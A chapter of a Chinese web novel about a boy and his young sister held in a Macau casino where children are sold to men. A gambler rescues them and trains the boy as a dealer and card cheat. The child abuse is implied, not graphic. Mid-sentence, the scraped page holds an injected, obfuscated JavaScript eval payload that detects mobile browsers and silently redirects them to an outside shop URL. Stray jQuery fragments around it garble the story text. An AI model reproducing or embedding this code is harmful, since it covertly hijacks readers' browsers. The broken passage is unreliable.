315.昨日港
作品:《请在我的废墟里爱我》 齐无恙的房间在3206,齐无尽没和她待多久,保镖就敲开门,面无表情地对齐无恙说:“已经凌晨了,你该回自己房间。明天早饭时间才能再见。”
齐无尽看着妹妹被保镖牵着手带出去,她一步三回头,不舍地小声唤道:“哥哥……”
“没事,去睡吧。”齐无尽扶着门框,朝她挥了挥手,“明天早上见。”
直到齐无恙的身影消失在拐角,他才收回视线,关上了门。
房间里只剩下他一个人,他这才环视整个房间的布局。一张大床占据了房间的一大半,旁边是一面全身镜。另一侧是一面墙的落地窗,窗外是深蓝色的澳门夜空。
齐无尽没有开灯,他走到床边,缓缓滑坐到地板上,背靠着床沿。
他就那么安静地坐了一会儿,看着窗外的繁华灯火,看着远处赌场酒店的彩色光束。然后,他慢慢抱住了自己的膝盖,将脸埋了进去,肩膀无法控制地开始颤抖。
窗外的霓虹灯光透过玻璃,在地板和他身上投下变幻的光影,明明灭灭。
他不知道自己的未来该怎么办,更不知道齐无恙的未来该怎么办。
难道要一辈子被困在这里?在恐惧中日复一日地腐烂吗?
齐无恙才那么小。她才七岁,她应该有光明的未来,应该有爱她的家人,应该在阳光下奔跑,上学,交朋友,而不是被关在顶层,父母双亡,只有一个……没用的哥哥。
顶层关了很多和他们年纪相仿的孩子,之前在地下室见过的有雀斑的女孩,和说这里是澳门的男孩也都在,每个房间的门牌上都写着住在房间里的孩子的名字。
每天晚上都有不同的男人乘坐专用电梯来到顶楼,他们衣冠楚楚地进入不同孩子的房间,或将孩子带到大厅,然后再衣冠楚楚地离开。有时候,那些目光会落在齐无尽或齐无恙身上,向张景提出要求。每到这时,张景总是笑着摇头拒绝:“这两个不行,那个小的更不能碰,她哥会跟你们拼命。”
不是没有孩子尝试逃跑,但第二天,他们的尸体就会出现在海里。
张景经常点齐无尽的名字,他很清楚齐无尽的软肋是什么。只要稍稍提一提齐无恙的名字,无论是多么过分的要求,她哥哥都会点头。
齐无尽越来越疲惫,也越来越瘦削,无论顶层为孩子们准备的饭菜多丰盛,他也吃不下。只有在见到齐无恙的时候,才会强打精神露出笑容。
慢慢的,见到张景的时候,他会本能地产生恐惧。他以为自己这辈子都会笼罩在这片阴影下。
直到在铂金皇宫的第三周,莫楠出现了。
那天晚上,齐无尽刚离开大厅。他推开木门,疲惫地抬起头,就看见一个红色短发的女人正站在走廊里,抱着胳膊气势汹汹地骂着烂在她面前的保镖。
“……欠钱不还还有理了?!你们张老板人呢?让他出来!”
保镖死死挡着门:“莫小姐,张先生现在有事在忙,不方便见客。”
“忙个屁忙!”女人叉着腰,“我倒要看看他在忙什么见不得人的——”
话说到一半,她一低头,正好看见齐无尽从门里走出来。
少年眼睛通红,面无表情,身上的衣服有些凌乱,脖颈上带着新鲜的伤痕。
莫楠整个人僵了一下,后面的话卡在喉咙里,盯着齐无尽。齐无尽面无表情地和她对视,垂下眼,转过身打算离开。
“等等!”女人忽然伸出手,拦住他。
齐无尽抬头看她,女人没多解释,牵着他的手,直接推开了那扇大厅的门,齐无尽又一次被带到张景的面前。
张景坐在沙发上,看着女人和被她牵着的齐无尽,温和笑道:“莫楠,你怎么又来了?不是说了嘛,钱我肯定会还你的,急什么?”
莫楠的手放在齐无尽的肩膀上,将他往自己这边带了带:“这孩子,我带走了。”
齐无尽和张景同时一愣。
齐无尽难以置信地看向莫楠,张景脸上的笑容淡了些,微微皱眉道:“这哪是说带走就能带走的?他可是我花了八百万买来的,好不容易才训得听话了点,不咬人了,还没玩够呢。你带走了,我怎么办?”
莫楠想了想,一挥手:“你欠我那两千万,不用还了。”
但说完,她自己又皱了皱眉:“不过这样……好像是我亏了啊。”
就在僵持之中,齐无尽忽然轻轻扯了扯莫楠的衣袖。他抬起头:“我……还有个妹妹,才七岁。”
他不知道自己堵得对不对,但落在眼前这个女人手里,总比继续留在张景身边好。无论如何,他都要为妹妹,也为自己,争取一线生机。
于是,在那个看似平常的夜晚,莫楠就这么近乎强硬地从张景手下带走了齐无尽和齐无恙,将他们带离了铂金皇宫,带回了自己的家。
接着,就是齐无尽忘不掉的画面——莫楠对着镜子臭美了半个小时,直到他开口,才想起客厅里有两个大活人。
她清了清嗓子,叫来管家,让他带着齐无恙去看海绵宝宝。接着坐到齐无尽对面,收敛了刚才跳脱的模样,点燃了一根卡比龙。烟雾袅袅升起,她的目光透过烟雾,落在齐无尽身上。
这孩子……以后的路,可不好走了。
她心里也闪过一瞬的犹豫,觉得自己是太冲动了才带回来两个孩子。张景是什么人,她比谁都清楚。现在从他手里抢走了两个孩子,还签了那份契约,她自己以后的路,也不好走。
如果在齐无尽满二十一岁前,她能赢回那份契约,一切都还好说。可如果拿不回来,或者她自己提前出了什么意外。那这两个孩子最终还是会落到张景手里,无论齐无尽到没到二十一岁。
但是,带回来了就是带回来了,她也做不到把这两个孩子重新送回那畜生手里。
于是,她给了齐无尽两个选择,跟妹妹一起去念书,或者跟她去赌场。预料之中,但又让莫楠微微叹息的,齐无尽选择了后者。
就这样,齐无尽跟着莫楠来到了永乐宫。
莫楠将他引荐给九爷时,直接说道:“九爷,我捡了个小子,脑子灵活,手也稳,我想让他在咱们这儿学点东西,将来也能混口饭吃。跟我一样也是红头发,吉利,也能帮咱们旺场子。”
九爷当时正叼着雪茄,靠在宽大的老板椅里,闻言掀起眼皮,打量着站在莫楠身后,警惕地看着自己的少年。
他笑了笑,没在意齐无尽那点几乎写在脸上的“你不是好人”,也没在意他的年纪,挥了挥手:“行啊,阿楠你开口了,就先留着吧。跟着楠姐好好学,等完全出师了,能独立应付私人牌局了,就能上桌,赚钱。”
说实话,齐无尽刚开始对九爷始终抱着戒心。在他看来,能在这种地方当老大,手里管着这么一大摊子生意,还能让张景那种人都给几分面子,怎么可能是善茬?
但在永乐宫待得久了,他慢慢发现,九爷……好像真的就只是特别爱财而已。
他喜欢所有能赚钱的东西,但也讲究“取之有道”,对手下的人,只要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237694|177773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不触犯他的核心利益,大多时候也算得上宽厚,顶多罚罚款,骂几句。
而且,九爷似乎……对他还不错?
知道他带着个妹妹要养,每个月发工资总给他多塞一些,会向其他赌客介绍他。齐无尽被张景弄怕了,起初觉得变扭,怀疑九爷是不是另有所图。时间长了,他发现九爷对永乐宫里其他肯吃苦的年轻人都这样。
关于张景这个人呢,他后面好几年都没再见过他。刚被莫楠带回去时,他恨张景恨得要死,听到他的名字都恐惧。莫楠见他状态,干脆直接让他在家休息一两周,再去永乐宫学习。
在莫楠家休息的那段时间,是齐无尽记忆中难得平静的时光,还带着点荒诞的温馨。
当时,莫楠请来了相熟的私人医生,仔细给齐无尽检查身体,处理伤口。当医生撩起他的衣服,露出他身上大片新旧交叠的淤青和指痕时,莫楠当场就炸了,用尽毕生所知的脏话把张景极其祖宗十八代问候了个遍。
“张景那个王八蛋!畜生!傻逼!挨千刀的王八羔子!他怎么能——”
“等等等一下!”医生连忙捂住她的嘴,“莫楠,在孩子面前,注意言辞……”
莫楠这才意识到齐无尽还坐在床上,立刻闭了嘴,嘿嘿笑了几声。
齐无尽抬起眼,不知怎么,嘴角轻轻向上牵动了一下。
莫楠眼睛一亮,像发现了新大陆,激动地指着齐无尽:“笑了!他刚才笑了!医生你看见没?!他笑了!从我把他带回来到现在,我就没见他笑过!”
齐无尽:“……”
他面无表情站起身,去找妹妹,陪她看海绵宝宝去了。留下莫楠在后面跳脚:“哎你别走啊!再笑一个看看嘛!”
后来,齐无尽正式进入永乐宫学习。
莫楠成了他的老师,从最基础的荷官技术教起,洗牌、发牌、摇骰、控盘等等。莫楠耐心不好,教急了会骂人,气急了会跳起来敲他。偶尔看到镜子里自己美丽动人的脸,又立刻消气,耐着性子重新教。
几次之后,每次莫楠来给他上课,他都会在墙上挂一面镜子。效果显著,莫楠的“暴力教学”频率下降。
他学得也极快,几乎是以一种透支生命的专注去掌握。连九爷偶尔路过训练室,看到他自虐般的练习强度,都忍不住挑眉。莫楠为此非常满意,经常拍着他的肩膀,跟永乐宫其他荷官炫耀。
两个月后,齐无尽已经在新一批学徒中脱颖而出,手法娴熟,心态沉稳,远超那些比他大好几岁的人。
于是,莫楠将他叫到一间无人的包间,桌上摊着一副崭新的扑克牌。
“小子,你知道什么是‘出千’吗?”
齐无尽摇了摇头。
莫楠笑了一下,没说话,她从面前的牌堆里随意地抽出一张方片A,亮给齐无尽。
然后她抬起手,手指似乎只是轻微地动了一下,齐无尽甚至没看清她的动作,只觉得眼前一花,再定睛看时,她指尖夹着的方片A,已经变成了梅花A。
“这就是出千的一类。”莫楠道,“手法,障眼法,心理误导,甚至用道具,花样多着呢。”
齐无尽愣了几秒,问:“被抓到会怎么样?”
莫楠耸了耸肩:“看场合,看人。轻则剁掉几根手指,重则被扔海里喂鱼。”
“不过你也别觉得出千是什么十恶不赦。在赌场,庄家可能出千,赌客更可能出千,连端茶倒水的侍应生都可能偷看你的牌去通风报信。所以你不光要会做,还得会防。”

